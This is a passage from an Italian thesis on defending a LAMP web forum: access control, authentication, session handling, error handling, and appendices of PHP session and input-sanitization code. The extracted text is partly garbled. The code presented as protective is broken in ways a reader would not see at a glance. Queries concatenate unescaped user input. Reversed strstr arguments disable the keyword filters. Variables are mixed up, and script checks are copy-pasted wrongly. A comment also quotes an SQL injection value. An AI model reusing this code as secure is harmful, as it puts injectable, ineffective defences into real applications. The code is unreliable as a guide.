tabelle per il controllo degli accessi che si rifanno all’approccio DAC.
Nell’approccio MAC al controllo degli accessi, le decisioni su chi accede ad
un oggetto e sul tipo di operazioni che può compiere, non vengono prese dal
proprietario dell’oggetto stesso ma da un’autorità centrale che supervisiona
l’intero funzionamento del sistema.
Con il role-based access control, le autorizzazioni vengono decise in base
al ruolo che i singoli utenti ricoprono in un organizzazione. Agli utenti viene
quindi assegnato un ruolo (quale dottore, infermiere, manager). Il processo di definizione dei ruoli deve basarsi su un attenta analisi di come una
organizzazione opera e deve includere tutto lo spettro degli utenti.
Le operazioni che un utente può effettuare si basano sul ruolo ricoperto.
L’appartenenza di un utente ad un ruolo può essere revocata facilmente e
nuovi ruoli possono essere definiti in base agli incarichi possibili. Quando
nuove operazioni vengono definite possono essere definite le associazioni con i
ruoli e le vecchie operazioni possono essere cancellate per seguire l’evoluzione
dell’organizzazione. Questo semplifica l’amministrazione e la gestione dei
diritti; i ruoli possono essere aggiornati senza cambiare i privilegi per i singoli
utenti in modo individuale.
Quando un utente ricopre un ruolo può godere solo dei diritti associati
a quel ruolo. Ciò significa identificare il minimo set di diritti necessario a
svolgere un determinato lavoro. Nelle organizzazioni poco controllate fare
ciò è difficile. In molte organizzazioni c’è un overlap della funzioni, tuttavia
garantire i massimo set di diritti può essere pericoloso. Con RBAC è possibile
consentire l’overlap delle responsabilità. Alcune operazioni generali possono
essere effettuate da tutti gli utenti. Piuttosto che definire tanti ruoli si usa
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
45
una organizzazione gerarchica. Una gerarchia di ruoli definisce degli attributi
unici e delle relazioni di inclusione tra ruoli. Nel caso della sanità il ruolo
Medico contiene il ruolo di Interno che contiene il ruolo di Paziente.
3.5.2
Autenticazione
L’autenticazione è la verifica dell’identità dell’utente al fine di concedere
l’autorizzazione all’utilizzo del servizio.
L’autenticazione è un argomento molto vasto che comprende tecniche radicalmente diverse basate su protocolli diversi. Alcune di tali tecniche sono
estremamente complesse (e limitatamente utilizzate) e non riguardano nello
specifico questa tesi.
Possiamo operare, per semplificare, una divisione in due tipi di soluzioni:
soluzione dichiarativa, basata su speciali header http oppure basata sul supporto fornito dal contenitore; soluzione programmatica in cui autenticazione
e autorizzazione sono gestite direttamente dal programmatore.
Parliamo nello specifico dei tre tipi di autenticazione più utilizzati in ambiente L.A.M.P.: l’autenticazione tramite form web (soluzione programmatica); tramite il modulo Apache mod auth; con il modulo mod auth mysql
(soluzioni fornita dal sistema).
Il primo dei due è utilizzato comunemente, ed è diventato praticamente
uno standard, in tutte le applicazioni che non possono affidarsi alle funzionalità del web server. L’idea è quella di gestire tutti i passaggi in modo
autonomo rispetto all’infrastruttura sulla quale si trova l’applicazione web.
Supponiamo di avere collezionato nella tabella di un database (oppure
in dei file di testo) l’elenco degli utenti, con le loro password e i loro ruoli.
Occorre soltanto progettare un sistema con il quale l’utente possa inviare i
suoi dati di autenticazione: ovviamente dovrà essere fatto tramite una form
in una pagina web. All’invio dei dati, un programma ad hoc si occuperà di
eseguire i controlli di autenticazione (controllo del formato dei dati, ricerca
nella tabella utenti). Se tali controlli vanno a buon fine, l’utente consegue
l’autorizzazione all’accesso delle risorse.
Questo sistema è di semplicissima implementazione e non richiede alcuna
risorsa esterna all’applicazione web che la utilizza. D’altro canto si apre
ad attacchi di diverso tipo, suffragati dagli errori di programmazione dello
sviluppatore.
La soluzione dichiarativa è sempre basata sulla directory, nella quale viene
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
46
inserito un file speciali in cui le impostazioni vengono specificate dichiarativamente con le direttive degli accessi autorizzati. In sintesi alcune risorse
(URL) vengono dichiarate protette: l’accesso a queste risorse è autorizzato
solo a utenti autenticati e con un ruolo preciso. L’elenco degli utenti, con le
loro password e i loro ruoli è memorizzato in un apposito file (oppure, anche
in questo caso in un database). Quando viene richiesta una risorsa dichiarata
protetta, il contenitore inoltra l’utente verso uno strumento di autenticazione
che contiene una form per raccogliere username e password. Se l’utente ha
tutte le credenziali (ricordiamo: username, password e ruolo) corrette, allora può accedere alla risorsa, altrimenti viene inoltrato ad una pagina di
fallimento.
Questo tipo di scelta è scarsamente personalizzabile ma molto potente.
Per quanto riguarda lo sviluppo del Forum è stato deciso di adoperare una
soluzione dichiarativa basata sul modulo Apache mod auth mysql integrato
con la tabella degli utenti.
Si rimanda all’appendice la spiegazione esaustiva dell’implementazione
fatta.
3.6
Gestione delle sessioni
Parlando del protocollo HTTP si è accennato al fatto che esso non ha stato
interno. In altre parole, ogni trasferimento in un protocollo senza stato viene
trattato a se, senza memoria della sequenza particolare di richieste pervenute
al server dallo stesso cliente né delle risposte inviategli.
I più banali software hanno invece il bisogno di conservare uno stato interno per produrre un output corretto. Anche le applicazioni web hanno tale
necessità e si è reso necessario adattare il protocollo http al fine di garantire
tale funzionalità.
La sessione, sotto l’aspetto temporale, il periodo che intercorre fra la
prima richiesta di un utente particolare, sino alla sua ultima richiesta, che
generalmente coincide con la chiusura del browser. Sotto l’aspetto dell’applicazione è la particolare combinazione di valori delle variabili di stato del
sistema applicativo, prescindendo dalla sequenza specifica che ha introdotto
tali valori.
Nella maggior parte dei casi, i dati di sessione sono memorizzati e mantenuti sul server, distinti da un numero identificativo, il session id, e possono
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
47
essere associati al client che li ha generati a mezzo di mutua trasmissione
(nelle transazioni http) del numero stesso. La trasmissione può essere effettuata tramite un cookie, un campo nascosto di una form web oppure tramite
inclusione dinamica nella URL.
Esistono tecniche di attacco, come si è detto nel capitolo precedente, che
sono mirate al furto del session id. A questo riguardo non possiamo dire che
esiste un modo perfettamente sicuro di inviare il session id. Qualunque tipo
di invio possa essere scelto, esiste almeno un modo per poterlo duplicare.
La difesa a questo rischio non consiste quindi nel rendere sicura la trasmissione de cookie (come viene fatto adoperando SSL) ma piuttosto è necessario,
nell’applicazione web, capire se il session id allegato ad una richiesta è valido
oppure corrotto, cioè applicare uno schema di gestione della sessione.
Esistono diversi schemi di gestione delle sessioni utente:
• time-out della sessione: sappiamo che un attacco richiede del tempo, sia
per quanto riguarda la preparazione sia per la sua messa in atto. Una
sessione che non ha scadenza nel tempo può dare all’attaccante un tempo infinito a sua disposizione. Inserendo invece una scadenza (time-out)
che invalida l’id di sessione, forzando la cancellazione dei dati accumulati, limita in modo significativo tale possibilità ed evita alcuni problemi
come il mantenimento in cache delle informazioni (specialmente quando
si utilizzano proxy) ;
• rigenerazione dell’id: questa è una delle tecniche trasparenti all’utente
secondo la quale, in un istante arbitrario, il server cambia l’identificativo
di sessione dei dati memorizzati, aggiornando tale valore nelle risposte
fornite al client. Il risultato è simile al time-out, cioè l’id viene invalidato, ma questa volta il cambiamento del numero non tiene conto del
tempo di vita della sessione o del tempo di inutilizzo, ma è casuale. In
PHP è staat predisposta una funzione apposita (session regenerate())
per la rigenerazione del session id. Tale funzionalità rende semplicissima
l’attuazione di tale contromisura ;
• brute-forcing detection: questa misura di sicurezza viene espletata bloccando l’accesso a quelle macchine (definite tramite il loro ip o nome di
host) che inviano molte richieste con id errato (estrapolato da bruteforcing) in un tempo troppo breve per essere considerate accidentali
;
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
48
• riautenticazione: le operazioni più critiche possono essere salvaguardate annullando l’autenticazione effettuata dall’utente in modo tale
da controllare la sua identità immediatamente prima dell’esecuzione
dell’operazione critica ;
• trasmissione dell’id: se un id viene catturato in fase di trasmissione
dello stesso sulla rete, l’account viene facilmente esposto a duplicazione
o attacco di hijaking. La scelta riguardo il mezzo di trasporto del’id
risulta quindi determinante per quanto riguarda la salvaguardia della
riservatezza.
Nello sviluppo del Forum è stata seguita la seguente strategia: l’id viene
registrato in un cookie valido per a sola sessione; la trasmissione dell’id al
server avviene nella url (come parametro di GET); viene effettuato un log
delle informazioni riguardanti il client su database; il log viene consultato
ad ogni richiesta per decidere la validità dell’id rispetto all’host che lo sta
utilizzando. Vengono registrati infatti, all’apertura della sessione, ip, host,
refereer e valore dell’id generato. Si presume che un attacco hijacking possa
essere rilevato quando un id viene adoperato da un ip diverso da quello per
cui il session id è stato registrato. Le restanti informazioni sono ausiliarie ed
utilizzate in controlli di minore importanza.
Inoltre viene messa in atto la rigenerazione dell’id, con quanto di tempo
casuale, in modo da ridurre l’hijacking di sessioni di utenti che utilizzano il
Forum per tempi molto lunghi.
3.6.1
Un esempio di autenticazione robusta
Un rischio elevato è dato da tutte le soluzioni in cui le variabili di sessione
sono in relazione stretta con le variabili di autenticazione. In questo caso, il
furto ed il riutilizzo di un id di sessione è molto più pericoloso del furto della
sola password di un utente con privilegi elevati.
Si cerca di implementare un autenticazione di tipo programmatico (gestita
dall’applicazione, senza l’utilizzo di risorse esterne) che possa garantire un
buon livello di sicurezza.
L’idea alla base è molto semplice: il problema sta nel fatto che tutte le
informazioni, autenticazione e dati di sessione, viaggiano nella rete in un unico
pacchetto, rappresentato dal cookie in cui sono salvate; sarebbe bene spezzare
in due tronconi queste informazioni, salvandole ed inviandole separatamente.
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
49
A tal fine si necessita di due cookie: il primo contenente i parametri di accesso
ed i privilegi, il secondo con i parametri di sessione. Nell’eventualità di un
attacco, può essere rubato uno dei due cookie ma raramente entrambi (si
fa un po’ affidamento anche sulla segretezza dell’algoritmo). Chi si finge
l’utente potrà entrare nel sistema ma non potrà eseguire operazioni, oppure
potrà vedere la sessione dell’utente attaccato ma senza avere i permessi di
autenticazioni non potrà andare avanti.
3.7
Gestione degli errori
La gestione dei messaggi errori non è una vera contromisura ma piuttosto
si tratta di un prevenzione che tende a mettere i bastoni fra le ruote degli
attaccanti. Può rivelarsi importante quando si vuole dare al sistema l’aspetto
della Black-Box, cioè la scatola chiusa che prende degli input e restituisce un
output deterministico oscurando completamente la propria struttura interna:
insomma, si vuole sfruttare appieno il principio definito ‘security through
obscurity’.
Un esempio classico di una cattiva gestione degli errori è la stampa dello
stack. Da tale stampa si possono ricavare informazioni molto dettagliate ed
intuire l’implementazione del modulo che ha generato l’errore. L’attaccante
a questo punto conoscerebbe la tipologia di sequenze che generano errori e
l’algoritmo, dal quale potrebbe ricavare la conoscenza di altre falle senza aver
bisogno di eseguire prove successive.
A tal proposito, in LAMP, sono disponibili diverse funzionalità per la
presentazione di errori comprensibili all’utente ma che contemporaneamente
evitano l’invio di dati tecnici potenzialmente pericolosi per il sistema. Ecco
alcuni esempi:
• la configurazione di Apache permette di definire le pagine di errore (errori http 404 e 400) personalizzate per ogni directory all’interno del dominio. Con questa semplice accortezza si possono ridurre notevolmente
gli attacchi mirati sia alla ricostruzione dell’albero delle directory dell’applicazione (da sfruttare per path traversal) sia per evitare il listing
di tali directory ;
• per quanto riguarda l’autenticazione, il moduli di Apache consentono
la dichiarazione esplicita dell’indirizzo delle pagine di errore verso da
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
50
inviare in caso di bad-login (errore http 401) o accesso non autorizzato
(errore 403) e di errori interni del server (classe di errori 5xx) ;
• molti altri accorgimenti possono essere presi nello sviluppo dell’applicazione. Ad esempio è possibile utilizzare alcune funzioni PHP per
il setting ottimale delle macro di configurazione o per la stampa dei
messaggi:
– error reporting() : definisce le tipologie di errori che devono essere
restituite. Con un utilizzo oculato di questa funzione si possono,
in fase di testing, scoprire le operazioni potenzialmente pericolose
(messaggi di notice e warning possono infatti nascondere delle gravi
falle difficili da scoprire con testing manuale limitato o automatico). Nella messa in produzione invece consente l’oscuramento di
tutti i messaggi ;
– error display() : modifica la macro di configurazione per l’invio di
messaggi di messaggi di errore al client (a differenza della precedente che nasconde tali messaggi anche sull’error-log del server
web) ;
Inoltre è possibile utilizzare un apposito operatore di controllo errori,
il carattere @ da anteporre alla funzione. Esso impone di ignorare
qualunque errore generato dalla chiamata a funzione sulla quale viene
utilizzato.
• sono fortemente sconsigliate le funzioni highlight string() e highlight file(),
le quali si occupano della stampa di codice php (non interpretato), cioè
infrangono completamente l’oscuramento dell’implementazione ;
• con l’ultima versione di PHP, la 5.0, è stato inserito il costrutto trycatch, con le stesse funzionalità e sintassi del c++ o del java: una
parte del listato, soggetto alla generazione di errori, viene inserito in
un blocco try ed alla fine di tale blocco, il costrutto catch si occupa di
cattura un’eccezione da trattare con l’apposito gestore ;
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
3.8
51
Riutilizzo del codice ed integrazione di
prodotti affidabili
Una strategia di sviluppo decisamente valida nella produzione del software è
il riutilizzo del codice. In questo caso si ha una scarsa probabilità di trovare
errori gravi dato il complesso e lungo testing che i moduli precedentemente
sviluppati hanno sopportato una volta messi in produzione. Inoltre, un aggiornamento di una libreria condivisa, si ripercuote automaticamente su tutte
le applicazioni che la utilizzano, riducendo molto il costo di manutenzione del
set di prodotti.
Segue lo stesso principio il riutilizzo di interi prodotti, come i gestori degli
errori oppure i moduli di autenticazione prodotti da terze parti.
Per quanto riguarda la progettazione del Forum si è deciso di non produrre
form user-friendly2 progettate ad-hoc per l’inserimento / modifica / cancellazione di informazioni stabili nel tempo come la lista dei forum, i gruppi di
utenti, le faq e le news. Per queste funzionalità viene inserito nel prodotto
definitivo una copia con configurazione ottima di phpMyAdmin.
Questo prodotto è un gestore web per MySQL molto avanzato, facilmente
configurabile e personalizzabile. Esso verrà utilizzato per interfacciarsi ad
alcune tabelle ma anche per la manutenzione dell’intero database.
Viene adoperato un sistema a doppia autenticazione:
• la prima consente l’accesso alla directory contenente l’applicazione ;
• la seconda (gestita dal programma stesso) occorre per l’autenticazione
nel server MySQL di un utente a bassi privilegi appositamente creato
per le comune operazioni di insert/update/delete.
2
termine tecnico per indicare interfacce utente ’amichevoli’, semplici ed intuitive da
utilizzare
Capitolo 4
Conclusioni
Quanto manca alla vetta ?
Tu sali e non pensarci !
( F. W. Nietzsche )
Fino a poco tempo fa la sicurezza informatica era considerata ‘la figlia
della serva’, perché non c’era ancora la percezione del valore dell’informazione
e della sua vulnerabilità.
Oggi, quantità sempre maggiori di dati ed informazioni viaggiano attraverso ‘il sistema nervoso digitale’ (B. Gates, Giugno 1999). Spesso, tali dati
non sono interessanti solo ed esclusivamente per i loro proprietari. Soltanto dopo i primi problemi seri, si cominciano a considerare gli investimenti
per la sicurezza come soldi spesi bene, anche perché in numerose realtà, la
corruzione o il furto di un database potrebbero determinare il crollo totale
dell’azienda.
Volendo riassumere questo lavoro è possibile dire che se si vuole rendere
un server sicuro non basta affidarsi a degli esperti amministratori di sistema
e di rete, cosı̀ come non è sufficiente nemmeno installare una suite software
di protezione integrata per risolvere il problema delle intrusioni e del furto
telematico.
Abbiamo visto come l’applicazione non possa essere considerata un blocco
nel quale entrano ed escono dati, ma piuttosto debba essere considerata un
insieme di sistemi ‘vivi’ ed in evoluzione che cooperano fra loro, alle volte
52
CAPITOLO 4. CONCLUSIONI
53
in condizioni conflittuali. In questo quadro d’insieme non possiamo quindi
pensare che un software, per quanto potente, possa bastare per controllare
un ambiente tanto vasto quanto eterogeneo.
Al lavoro dei sistemisti, dei firewall e degli antivirus, che insieme formano
lo schermo esterno alla zona da proteggere, è necessario affiancare l’oculatezza
dei progettisti e le capacità degli sviluppatori per evitare che, da una parte,
questi creino delle falle nel sistema di sicurezza e, dall’altra, collaborino attivamente al miglioramento delle regole di gestione dell’infrastruttura. Da una
sinergia di questo tipo ne scaturire un sistema con diversi livelli di filtraggio
in grado di proteggere in modo affidabile il nucleo dell’azienda, con un costo
limitato. Insomma, si ribadisce ancora che la sicurezza non è un prodotto
o un oggetto ma è un processo che parte con la definizione di alcune regole
basilari e va affinato nel corso nel tempo, in relazione ai costi da sostenere ed
ai benefici che se ne possono trarre.
Appendice A
Logging e gestione delle sessioni
Per quanto riguarda il logging, si eseguono due tipi di registrazioni:
1. registrazione dell’id utente e della date di creazione e di ultima modifica
di ogni record in tutte le tabelle di entità.
2. registrazione degli accessi degli utenti tramite la apposita tabella ’Registro’ (figure 3.1 (pag. 40) e 3.2 (pag. 41)) in cui vengono raccolti i dati
caratterizzanti l’associazione fra client host e sessione ;
La prima forma di controllo consente di capire la responsabilità degli utenti
circa la creazione e la modifica dei dati. In congiunzione con il secondo tipo di
log è possibile tracciare i movimenti di un utente all’interno dell’applicazione
nell’ambito di una sessione e di tutte le sessioni assegnate a tale utente.
Questo sistema consente l’esclusione automatica, ed anche manuale, di
utenti che tentano di manomettere dati ed evita che tali manomissioni possano
avere successo.
Il logging degli accessi, oltre che una base per eseguire statistiche, offre la
possibilità, come accennato, di tracciare i movimenti e le operazioni compiute
dagli utenti nell’applicazione e, ancora più importante, permette di prevenire
il session hijaking.
Codice del file secure.inc.php .
<?
/* ------------------------------------------------------------------Registro in sessione il sid e l’ip, ed inoltre l’inizio della sessione
------------------------------------------------------------------- */
if( !isset($_SESSION[’SID’]) || !session_is_registered("SID") ) {
54
APPENDICE A. LOGGING E GESTIONE DELLE SESSIONI
session_register(
session_register(
session_register(
session_register(
session_register(
}
55
"SID" ) ;
"IP" ) ;
"SID_start" ) ;
"SID_expire" ) ;
"AID" ) ;
$_SESSION[’AID’] = 0 ;
if( !isset($_SESSION[’SID’]) )
$_SESSION[’SID’] = session_id() ;
if( !isset($_SESSION[’IP’]) )
$_SESSION[’IP’] = getenv("REMOTE_ADDR") ;
if( !isset($_SESSION[’SID_start’]) )
$_SESSION[’SID_start’] = date("Y-m-d H:i:s") ;
if( !isset($_SESSION[’SID_expire’]) )
$_SESSION[’SID_expire’] = session_cache_expire(60*60*24*30) ;
if( !isset($_SESSION[’SID_start’]) )
{
$sql = "SELECT aid FROM".$ADM."
WHERE uname=’".$GLOBAL[’user’]."’" ;
$ris = mysql_query( $sql ) ;
if( is_resource($ris) ) {
$row = mysql_fetch_array( $ris ) ;
$_SESSION[’AID’] = $row[’aid’] ;
}
}
In questa prima parte del codice viene registrata la sessione e impostate
le relative variabili.
/* ----------------------------------------------------------------------Nel caso in cui si tenti di adoperare lo stesso SID con due IP diversi,
la sessione viene distrutta e rigenerata
------------------------------------------------------------------------ */
if( $_SESSION[’IP’]!=$GLOBAL[’ip’] ) {
session_destroy() ;
APPENDICE A. LOGGING E GESTIONE DELLE SESSIONI
56
session_start() ;
$_SESSION[’SID’] = session_id() ;
$_SESSION[’IP’] = getenv("REMOTE_ADDR") ;
$_SESSION[’SID_start’] = date("Y-m-d h:m:s") ;
$_SESSION[’SID_expire’] = session_cache_expire(60*60*24*30) ;
}
Queste sette righe di codice eseguono il controllo del session hijacking: il
controllo è molto semplice e si basa sugli ip delle macchine coinvolte nell’attacco. L’ip della macchina che avre la sessione ciene registrata nella variabile
$ SESSION[’IP’]. Alla successiva request verrà confrontato l’ip registrato in
sessione con quello fornito dal client e recuperabile dalla variabile predefinita
PHP $ SERVER[’REMOTE ADDR’] oppure con la funzione PHP getenv(
REMOTE ADDR). Se gli ip non coincidono la sessione viene distrutta essere ricreata con i dati appropriati. La potenza di questo accorgimento sta
nella trasparenza per l’utente attaccato che non verrà influenzato da questo
problema, a meno di vedersi il valore del session id cambiare nella url location.
if( is_resource($link) ) {
$sql = "SELECT uid FROM ".$UTENTE."
WHERE username=’".$GLOBAL[’user’]."’" ;
$ris = mysql_query( $sql ) ;
if( is_resource($ris) ) {
$row = mysql_fetch_array( $ris ) ;
$sql = "INSERT INTO ".$LOG."
SET aid=’".$row[’uid’]."’,
session_id=’".$_SESSION[’SID’]."’,
ip=’".$GLOBAL[’ip’]."’,
host=’".($GLOBAL[’host’])."’,
referrer=’".$GLOBAL[’referrer’]."’,
session_start=’".$_SESSION[’SID_start’]."’" ;
$ris = mysql_query( $sql ) ;
}
$sql = "SELECT aid FROM ".$ADM."
WHERE uname=’".$GLOBAL[’user’]."’" ;
$ris = mysql_query( $sql ) ;
if( is_resource($ris) ) {
APPENDICE A. LOGGING E GESTIONE DELLE SESSIONI
57
$row = mysql_fetch_array( $ris ) ;
$sql = "INSERT INTO ".$LOGADM."
SET aid=".$row[’aid’].",
session_id=’".$_SESSION[’SID’]."’,
ip=’".$GLOBAL[’ip’]."’,
host=’".($GLOBAL[’host’])."’,
referrer=’".$GLOBAL[’referrer’]."’,
session_start=’".$_SESSION[’SID_start’]."’" ;
$ris = mysql_query( $sql ) ;
}
}
?>
Nell’ultima parte viene eseguita una operazione di inserimento nella tabella dei log
Appendice B
Validazione dei dati in input
Il processo di validazione dei dati in input deve essere progettato in modo
tale da assicurare la prevenzione completa del parameter tempering e della
manipolazione degli header HTTP.
Si decide di eseguire dei controlli ad hoc sulle tre variabili php prefedefinite
per l’input $ SESSION, $ POST e $ GET. Quindi, lo script, viene diviso in
tre sezioni, una per ogni array.
Per quanto riguarda le variabili di sessione, generate dallo script del file
session.inc.php analizzato nel capitolo precedente, hanno già un formato sicuro, infatti qui si effettuano solo controlli a riguardo dell’esistenza di tali
valori.
Le variabili GET devono essere trattate con particolare attenzione, essendo visualizzate nella url-location sono le prime ad essere attaccate.
Le variabili vengono trattate a seconda del formato che il programmatore
si aspetta. Tutte le chiavi vengono analizzate e raggruppate in tre tipi: input
numerici, input alfanumerici ed input in array misti (anche qui si potrebbe dividere le stringhe dai numeri). Vengono cosı̀ caricati tre array: $keys integer,
$keys string e $keys array. Per i primi viene effettuato un controllo con la
funzione php is numeric() che fallisce se non è possibile convertile la stringa in
un valore numerico. Per quanto riguarda le stringhe si effettuano due controlli: dapprima si eliminano i spazi bianchi all’inizio ed alla fine della stringa;
in un secondo passo vengono sanitizzate le sequenze nelle quali si rilevano
attacchi di iniezione di comandi sql o di sistema oppure con possibili attacchi di cross-site scripting. Per l’iniezione di comandi, si esegue la traduzione
delle parole in modo tale che il sistema oppure il server SQL cada in errori di
sintassi. Le stringhe ’¡script’ e ’¡/script’ che identificano attacchi di cross-site
58
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
59
scripting vengono sanitizzate convertendole i caratteri in entità html.
Sulle variabili di POST viene eseguito lo stesso procedimento seguito per
gli input in GET, ma additivato da un altro controllo preventivo: al momento
del caricamento degli array degli interi e delle stringhe viene eseguito un
controllo sullo script che sta eseguendo la sanitizzazione dell’input (cioè che
sta includendo lo script secure.inc.php) e il caricamento delle variabili di input
viene reso strettamente dipendente da tale controllo.
Questo è il codice del file secure.inc.php che esegue il controllo e la sanitizzazione dell’input
<?
include_once "validate_email.php" ;
/* ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
HOW-TO:
come aggiungere nuovi input al processo di sanitizzazione ?
Individuare il metodo di invio (GET o POST) ed il tipo di input
(numerico, alfanumerico, array misto). Inserire in coda all’opportuno
array (metodo e tipo input) il nome della variabile (cioè la chiave
con la quale la si estrapolerebbe da $_GET e $_POST.
La variabile, sanitizzata, verrà automaticamente aggiunta agli array
$secureGET oppure $securePOST
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? */
// -----------------------------------------------------------------// DATI IN SESSIONE
// -----------------------------------------------------------------$keys = array( "SID", "IP", "SID_start", "SID_expire", "AID" ) ;
foreach( $keys as $k )
{
if( isset($_SESSION[$k]) ) {
$secureSESSION[$k] = trim( $_SESSION[$k] ) ;
} else {
$secureSESSION[$k] = "" ;
}
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
60
}
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// -----------------------------------------------------------------// DATI IN GET
// -----------------------------------------------------------------// Dati in formato numerico (redord id delle tabelle di entità)
$keys_integer = array( "Forum", "fid", "mid", "tid", "uid" ) ;
foreach( $keys_integer as $k )
{
if( isset($_GET[$k]) && is_numeric($_GET[$k]) && $_GET[$k]>=0) {
$secureGET[$k] = (int) $_GET[$k] ;
} else {
$secureGET[$k] = 0 ;
}
}
// Dati in formato di stringa
$keys_string = array( "Func", "Func2", "Mode", "Cat", "user" ) ;
foreach( $keys_string as $k )
{
if( isset($_GET[$k]) ) {
$secureGET[$k] = trim($_GET[$k]) ;
if( strstr( $secureGET[$k], "<script") ||
strstr( $secureGET[$k], "</script") )
{
$secureGET[$k] = htmlentities($secureGET[$k]) ;
}
/*
controllo della presenza di comandi di sistema
non essendo un forum tecnico si presume che non verranno mai
inviati messaggi che contengono del codice di shell.
*/
for( $i=0 ; $i<count($cmd_list) ; ++$i )
{
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
61
$cmd = $cmd_list[$i] ;
$secureGET[$k] = str_replace($cmd, $cmd."_", $secureGET[$k]) ;
$secureGET[$k] = htmlentities($securePOST[$k]) ;
}
/*
controllo della presenza di codice SQL
anche qui i controlli sono dipendenti dai forum, cioè
dai messaggi che possono essere inviati.
*/
// prevenzione di codice concatenato con union
if( strstr( "union", $secureGET[$k]) &&
( strstr( "select", $secureGET[$k]) ||
strstr( "delete", $secureGET[$k]) ||
strstr( "insert", $secureGET[$k]) ||
strstr( "update", $secureGET[$k]) ) )
{
$secureGET[$k] =
str_replace("union", "_union_", $secureGET[$k]) ;
}
// prevenzione di comandi di selezione
if( strstr( "select", $secureGET[$k]) &&
strstr( "from", $secureGET[$k]) )
{
$secureGET[$k] =
str_replace("select", "_select_", $secureGET[$k]) ;
}
// prevenzione della manomissione degli id
/*
le variabili di id (come fid, tip, uid) devono essere
inserite nell’array degli input interi: ciò rende
automatica la prevenzione della tipologia: 1’ OR uid>’0
Se vengono inseriti in quello delle stringhe (e quindi
trattate nella sezione di codice in cui ci troviamo)
sarebbero intercettate per la presenza del
costrutto ’union’
*/
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
62
} else {
$secureGET[$k] = "" ;
}
} else {
$secureGET[$k] = "" ;
}
}
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// -------------------------------------------------------------// DATI IN POST
// -------------------------------------------------------------// Controllo preventivo sulla presenza di dati in post
if( isset($_POST) && is_array($_POST) )
{
/* Vengono effettuati tre controlli :
- si accettano solo i dati che lo script (identificato dal
nome del file) richiede ed è in grado di gestire ;
- le chiavi vengono caricate in tre array dividendo: interi,
stringhe ed array (misti) ;
- per il primo array (interi) il controllo prevede il successo
della funzione is\_numeric(),
per le stringhe vengono eliminati gli spazi bianchi (comprese
tabulazioni e fine riga) all’inizio ed alla fine della
stringa con la funzione php trim(),
per gli array si esegue un controllo di tipo stringa lasciando
intatta la forma dell’array .
Le stringhe vengono sanitizzate se sono presenti comandi di sistema,
codice SQL oppure codice di scripting client side.
*/
// REGISTRAZIONE DI UN UTENTE (profile.php)
if( strstr( $_SERVER[’SCRIPT_FILENAME’], "profile.php" ) &&
isset($_POST[’username’]) &&
isset($_POST[’email’]) )
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
63
{
$keys_integer = array( "notify", "viewemail", "viewtel", "viewonline" ) ;
$keys_string = array( "username", "email", "new_password",
"password_confirm", "nome", "cogn", "ist",
"strut", "tel", "data_nascita", "signature",
"signature", "comment", "user", "struttura" ) ;
}
// CONFIGURAZIONI DELL’APPLICAZIONE (conf.php)
if( strstr( $_SERVER[’SCRIPT_FILENAME’], "conf.php" ) )
{
$keys_integer = array( "server_port", "board_disable", "session_length" ) ;
$keys_string = array( "server_name", "server_path", "sitename",
"default_dateformat", "cookie_domain", "cookie_name",
"cookie_path", "cookie_domain", "cookie_name",
"board_email", " board_email_sig" ) ;
$keys_array = array( ) ;
}
// AMMINISTRAZIONE FILES (files.php)
if( strstr( $_SERVER[’SCRIPT_FILENAME’], "files.php" ) )
{
$keys_integer = array( "min" ) ;
$keys_string = array( "cerca", "search_file_name", "search_un",
"search_cognome" ) ;
$keys_array = array( ) ;
}
// AMMINISTRAZIONE FORUM (forum.php)
if( strstr( $_SERVER[’SCRIPT_FILENAME’], "files.php" ) )
{
$keys_integer = array( "fid", "disable" ) ;
$keys_string = array( "cat_name", "Cat", "nome", "addforum",
"descrizione", "categoria", "newforumname",
"newforumcategory", "addcategory" ) ;
$keys_array = array( ) ;
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
64
}
// AMMINISTRAZIONE GRUPPI (gruppi.php)
if( strstr( $_SERVER[’SCRIPT_FILENAME’], "files.php" ) )
{
$keys_integer = array( "ins_utenti", "del_utenti", "group_delete",
"modifica_gruppo", "gid", "fid", "auth_read",
"auth_post", "auth_reply", "auth_edit",
"auth_del", "auth_file" ) ;
$keys_string = array( "edit_name", "new_name", "group_descr",
"group_name", "gname" ) ;
$keys_array = array( array( "nome", "descrizione", "ins", "canc" ) ) ;
}
// AMMINISTRAZIONE UTENTI (utenti.php)
if( strstr( $_SERVER[’SCRIPT_FILENAME’], "files.php" ) )
{
$keys_integer = array( "uid", "banned", "deleted",
"ugid", "new_gruppo_is_mod", "min" ) ;
$keys_string = array( "mod_user", "ban_reason", "ban_expire",
"vedi_gruppi", "canc_rel_gu", "new_gruppo",
"ins_new_gruppo", "dettaglio", "cerca",
"search_un", "search_cognome" ) ;
$keys_array = array( ) ;
}
// FORUM: gruppi (groupcp.php) e lista utenti (memberlist.php)
if( strstr( $_SERVER[’SCRIPT_FILENAME’], "groupcp.php" ) ||
strstr( $_SERVER[’SCRIPT_FILENAME’], "memberlist.php" ) )
{
$keys_integer = array( "min" ) ;
$keys_string = array( "ord", "order" ) ;
$keys_array = array( ) ;
}
// FORUM: inserimento e modifica messaggi (new_msg.php e mod_msg.php)
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
if( strstr( $_SERVER[’SCRIPT_FILENAME’], "new_msg.php" ) ||
strstr( $_SERVER[’SCRIPT_FILENAME’], "mod_msg.php" ) )
{
$keys_integer = array( ) ;
$keys_string = array( "oggetto", "testo" ) ;
$keys_array = array( ) ;
}
// FORUM: inserimento argomento (new_topic.php)
